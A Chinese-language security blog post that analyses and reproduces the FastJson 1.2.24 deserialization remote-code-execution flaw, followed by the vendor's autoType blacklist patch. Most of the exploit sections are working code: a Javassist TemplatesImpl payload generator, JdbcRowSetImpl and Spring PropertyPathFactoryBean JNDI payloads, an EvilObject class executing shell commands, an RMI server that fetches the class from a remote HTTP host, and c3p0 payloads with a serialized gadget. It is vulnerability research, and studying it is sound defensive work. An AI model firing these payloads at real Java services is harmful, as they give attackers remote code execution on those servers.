FastJson是一个由alibaba维护的json库,应用范围很广。2017年3月15日由官方发布最早的安全公告。该公告表示FastJson在1.2.24及之前版本存在远程代码执行漏洞。紧接着于4月29日出现相关POC。这篇文章就是来分析复现这一漏洞。
整个复现系列的payload放在了github上。
漏洞信息
影响版本
漏洞原因
漏洞产生的原因是由于fastjson反序列化Json字符串为Java对象时autoType没有做正确的检测处理。
利用方式
- TemplatesImpl类
- JNDI注入-JdbcRowSetImpl类
利用链分析之TemplatesImpl类
利用版本
- 1.2.22 <= fastjson <= 1.2.24
本来公告中表明的是FastJson在1.2.24及之前版本存在远程代码执行漏洞,但是由于此利用方式需要用到Feature.SupportNonPublicField属性,而该属性在1.2.22版本之后才开始提供相应的支持。
利用链
该反序列化漏洞利用链之前分析过的CommonsBeanUtils1中的后半部分payload,即利用TemplatesImpl类的getOutputProperties()函数,调用到newTransformer(),从而RCE。之前利用commons-beanutils中的BeanComparator.compare()方法调用到getOutputProperties()的方法显然是行不通的。那么在这里,我们要解决的问题就是如何调用getOutputProperties()。
如果了解FastJson的反序列化,那么就很容易知道通过TemplatesImpl类成员变量_outputProperties来自动调用getOutputProperties()。如果不了解其反序列化,可以看这篇文章。
而在后续的过程中会用到_bytecodes中存放的恶意代码,因此_bytecodes必须是能够被反序列化的。来看看_bytecodes在TemplatesImpl中的情况。


它是一个私有属性,按理来说,它有一个setter方法,不知道是不是由于setter是个私有方法,所以不能被序列化。在这里要想_bytecodes被反序列化,需要设定parseObject()函数的参数Feature.SupportNonPublicField。
接下来需要满足的条件就是需要能够调用到getOutputProperties()。这个getter方法正好满足p0’s师傅文章中所写的条件。FastJson会对满足下列要求的getter进行调用。
- 只有getter没有setter
- 函数名称大于4
- 非静态函数
- 函数名称以get起始,且第四个字符为大写字母
- 函数没有入参
- 继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
来看看getOutputProperties()的情况。

它是一个Properties类,它继承自Hashtable,Hashtable又继承自Map。因此满足条件。
EXP构造
首先可以通过前面Javassist的方式生成恶意的字节码。代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public class test { public static class StubTransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L;
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{} }
String command = "/Applications/Calculator.app/Contents/MacOS/Calculator"; String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass clazz = pool.get(StubTransletPayload.class.getName());
clazz.makeClassInitializer().insertAfter(cmd); CtClass superC = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superC);
byte[] classBytes = clazz.toBytecode();
|
然后获取TemplatesImpl.class,构造出序列化JSON数据,如下所示:
1 2 3 4
| String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+bytes1+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
|
在实际利用时,不能直接将获取的字节码转换为字符串进行拼接,而是需要经过一个base64编码变成字符串进行拼接。这个问题会在后面的细节问题中作出解释。
完整的demo如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.codec.binary.Base64;
import java.io.*;
public class test { public static class StubTransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L;
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{} }
public static void main(String[] args) throws Exception{
String command = "/Applications/Calculator.app/Contents/MacOS/Calculator"; String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass clazz = pool.get(StubTransletPayload.class.getName());
clazz.makeClassInitializer().insertAfter(cmd); CtClass superC = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superC);
byte[] classBytes = clazz.toBytecode();
String bytes1 = Base64.encodeBase64String(classBytes); String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+bytes1+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"; Object res = JSON.parseObject(text1, Feature.SupportNonPublicField);
}
}
|
运行之后的结果如下所示:

漏洞利用细节
01._outputProperties如何与getOutputProperties()关联起来?
可以看到_outputProperties成员变量和getter方法getOutputProperties()之间相差了一个_字符。是如何关联起来的呢?
这是由JavaBeanInfo.build进行处理的,FastJson会创建一个fieldList数组,用于保存目标Java类的成员变量以及相应的setter或getter方法,以供反序列化字段时调用。
FastJson会对setter、getter、成员变量分别进行处理,智能提取出成员变量信息。逻辑如下:
- 识别setter方法名,并根据setter方法名提取出成员变量名。
- 通过clazz.getFields()获取成员变量。
- 识别getter方法名,并根据getter方法名提取出成员变量名。
定位到JavaBeanInfo.build()函数中,来看一下,它是如何从getter方法中提取出成员变量的。可以看到,它是将第4个字符变成小写,然后拼接上后面的字符。

此时在fieldList中存入的是outputProperties与getOutputProperties之间的对应关系。还是没有对应上_outputProperties。继续看,接下来FastJson会语义分析JSON字符串。定位到JavaBeanDeserializer.parseField()函数

这里的key为_outputProperties。这里跟进一下smartMatch(key)。

这里会将_outputProperties这个成员变量与outputProperties相关联,从而也就与getOutputProperties()相关联了。
02.为什么要对_bytecodes进行Base64编码?
在以往的情况下,并不需要对_bytecodes进行Base64编码。而我在newTransformer()函数中发现_bytecodes确实是Base64解码后字节码。那么是在什么地方进行了解码呢?
定位到ObjectArrayCodec.deserialze()

然后跟进byteValue()

在这里进行了base64解码。
利用链分析之JNDI注入
JdbcRowSetImpl
由于此利用方式需要用到JNDI注入,对此不了解的可以先了解一下。此次利用JNDI注入需要满足2个条件:
- 存在有漏洞的代码(即lookup(uri),且uri可控)
- Java版本(<=jdk1.8_113) (RMI利用方式)
有趣的是,第一点条件可利用com.sun.rowset.JdbcRowSetImpl类完成。定位到JdbcRowSetImpl类,搜索lookup函数,直接定位到connect()函数。

可以看到是很完美的漏洞触发代码,那么需要知道this.getDataSourceName()是否可控。跟进它。它取自BaseRowSet类的getDataSourceName()函数,且dataSource是个私有变量,可以通过其setter函数进行赋值。



而JdbcRowSetImpl类继承自BaseRowSet类,且重写了setDataSourceName()函数,定位到这个函数。

它会调用其父类即BaseRowSet类的setDataSourceName()函数,从而给dataSource赋值。
到这里为止,uri也可控了。但由于上述的connect()是protected类型的,不能直接被访问。所以找到了该类的setAutoCommit()函数。如下所示:

到这里,JdbcRowSetImpl类提供了一个可以进行JNDI注入的入口点。
1 2 3 4 5 6 7 8 9
| import com.sun.rowset.JdbcRowSetImpl;
public class client { public static void main(String args[]) throws Exception{ JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/aa"); jdbcRowSet.setAutoCommit(true); } }
|
EXP构造
因此,在进行fastjson反序列化时,需要调用该类的setDataSourceName函数和setAutoCommit函数。那么构造payload传入了dataSourceName变量和autoCommit值。
而实际上,在JdbcRowSetImpl类中并没有这两个成员变量,但传入的payload中若有这2个变量,便可调用对应的setter方法。非常神奇的一点认识。不过联想到fastjson反序列化时获取成员变量的一套逻辑,便可以想通了。
因此payload为:
1 2 3 4 5
| { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/", "autoCommit":true }
|
复现
首先在web服务器上放入恶意的class文件。在所在目录下利用php内置服务器起一下(php -S 0.0.0.0:2333)。
1 2 3 4 5 6 7 8 9
| import java.lang.Runtime;
public class EvilObject{ public EvilObject() throws Exception { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/sh", "-c", "open /Applications/Calculator.app"}; rt.exec(commands); } }
|
然后起一个rmi服务。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class server_rmi {
public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099);
String FactoryURL = "http://101.200.144.143:2333/"; Reference evilObj = new Reference("EvilObject","EvilObject",FactoryURL); ReferenceWrapper wrapper = new ReferenceWrapper(evilObj); registry.bind("EvilObject", wrapper); } }
|
完整的客户端demo如下所示:
1 2 3 4 5 6 7 8 9 10
| import com.alibaba.fastjson.JSON;
public class jdbcrowsetimpl { public static void main(String args[]) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/EvilObject\",\"autoCommit\":true}"; Object res = JSON.parse(payload);
} }
|
在JDK1.8_111环境下,运行的结果如下图所示:

PropertyPathFactoryBean
利用此类在fastjson反序列化过程中进行JNDI注入需要依赖于以下的第三方包
- spring-beans
- spring-context
- spring-core
在正式开始分析之前,首先介绍一个在spring-context中类org.springframework.jndi.JndiTemplate。它是spring里面用来简化对JNDI的操作的类,提供了lookup、bind方法。来看看它的lookup方法。

可以看到正好满足了jndi注入的条件,现在需要考虑的是如何调用到此函数,且参数name可控。接着定位到org.springframework.jndi.JndiLocatorSupport类的lookup函数。

该类继承了JndiAccessor类,JndiAccessor类中的getJndiTemplates()函数返回的就是一个JndiTemplate对象。那么接着要找一个调用了JndiLocatorSupport类的lookup函数的类或者直接调用了JndiTemplate类的lookup函数的类。定位到org.springframework.jndi.support.SimpleJndiBeanFactory类。

该类继承自JndiLocatorSupport类,且在多个函数中调用了lookup函数。例如,getBean()、doGetType、doGetSingleton。虽然这里有getBean()函数,但由于它存在入口参数,所以不能在反序列化时被自动调用。那么就继续往下看,看看调用了这三个函数之一的其他函数。定位到org.springframework.beans.factory.config.PropertyPathFactoryBean类的setBeanFactory()。

可以看到在该函数中调用了this.beanFactory.getBean()函数,SimpleJndiBeanFactory实现了BeanFactory类,且setBeanFactory()函数满足fastjson反序列化时自动调用的条件。到此整个分析结束。
EXP构造
上面分析了整个过程。首先待反序列化的类是PropertyPathFactoryBean,根据条件。
- 1)需要给成员变量beanFactory赋值且赋值为
SimpleJndiBeanFactory类的对象。
- 2 需要给targetBeanName赋值为jndi的url。
因此,payload形式为:
1 2 3 4 5 6 7 8
| { "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean", "targetBeanName": "rmi://127.0.0.1/EvilObject", "beanFactory": { "@type":"org.springframework.jndi.support.SimpleJndiBeanFactory" } }
|
然后看setBeanFactory()函数中要走到getBean()的条件。

很显然,这里的targetBeanName不为null,会走到下面的判断。当propertyPath不为null的情况下,才会继续往下走。
因此payload增加为:
1 2 3 4 5 6 7 8 9
| { "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean", "targetBeanName": "rmi://127.0.0.1/EvilObject", "propertyPath":"foo", "beanFactory": { "@type":"org.springframework.jndi.support.SimpleJndiBeanFactory" } }
|
然后就调用this.beanFactory.getBean()方法。 其实在这里不是很能理解,为什么需要加上”shareableResources”的值为[“rmi://127.0.0.1:1099/EvilObject”]。这是必须条件,如果不填写这个值,反序列化beanFactory的时候就会失败,走不到this.beanFactory.getBean()。
之后的完整的payload为
1 2 3 4 5 6 7 8 9 10
| { "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean", "targetBeanName": "rmi://127.0.0.1/EvilObject", "propertyPath":"foo", "beanFactory": { "@type":"org.springframework.jndi.support.SimpleJndiBeanFactory" "shareableResources":["rmi://127.0.0.1:1099/EvilObject"] } }
|
复现
完整的demo
1 2 3 4 5 6 7 8 9 10
| import com.alibaba.fastjson.JSON;
public class propertypathFactorybbean {
public static void main(String args[]) { String payload = "{\"rand1\": {\"@type\": \"org.springframework.beans.factory.config.PropertyPathFactoryBean\",\"targetBeanName\": \"rmi://127.0.0.1:1099/EvilObject\",\"propertyPath\": \"foo\",\"beanFactory\": {\"@type\": \"org.springframework.jndi.support.SimpleJndiBeanFactory\",\"shareableResources\": [\"rmi://127.0.0.1:1099/EvilObject\"]}}}"; Object res = JSON.parseObject(payload); } }
|
此外还有以下payload可以尝试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| { "rand1": Set[ { "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor", "beanFactory": { "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory", "shareableResources": [ "rmi://127.0.0.1:1099/EvilObject" ] }, "adviceBeanName": "rmi://127.0.0.1:10099/EvilObject" }, { "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor" } ]}
{ "rand1": { "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;" } }
{ "rand1": { "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource", "jndiName": "rmi://127.0.0.1:1099/EvilObject", "loginTimeout": 0 } }
|
补丁
通过查看补丁发现,原来根据”@type”的值直接加载类的操作修改为checkAutoType函数了。

且默认情况下autoType关闭了,可以看到它会经过一个黑名单判断,从而抛出异常。

其中黑名单中包括了以下大类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| bsh, com.mchange, com.sun., java.lang.Thread, java.net.Socket, java.rmi, javax.xml, org.apache.bcel, org.apache.commons.beanutils, org.apache.commons.collections.Transformer, org.apache.commons.collections.functors, org.apache.commons.collections4.comparators, org.apache.commons.fileupload, org.apache.myfaces.context.servlet, org.apache.tomcat, org.apache.wicket.util, org.codehaus.groovy.runtime, org.hibernate, org.jboss, org.mozilla.javascript, org.python.core, org.springframework
|
参考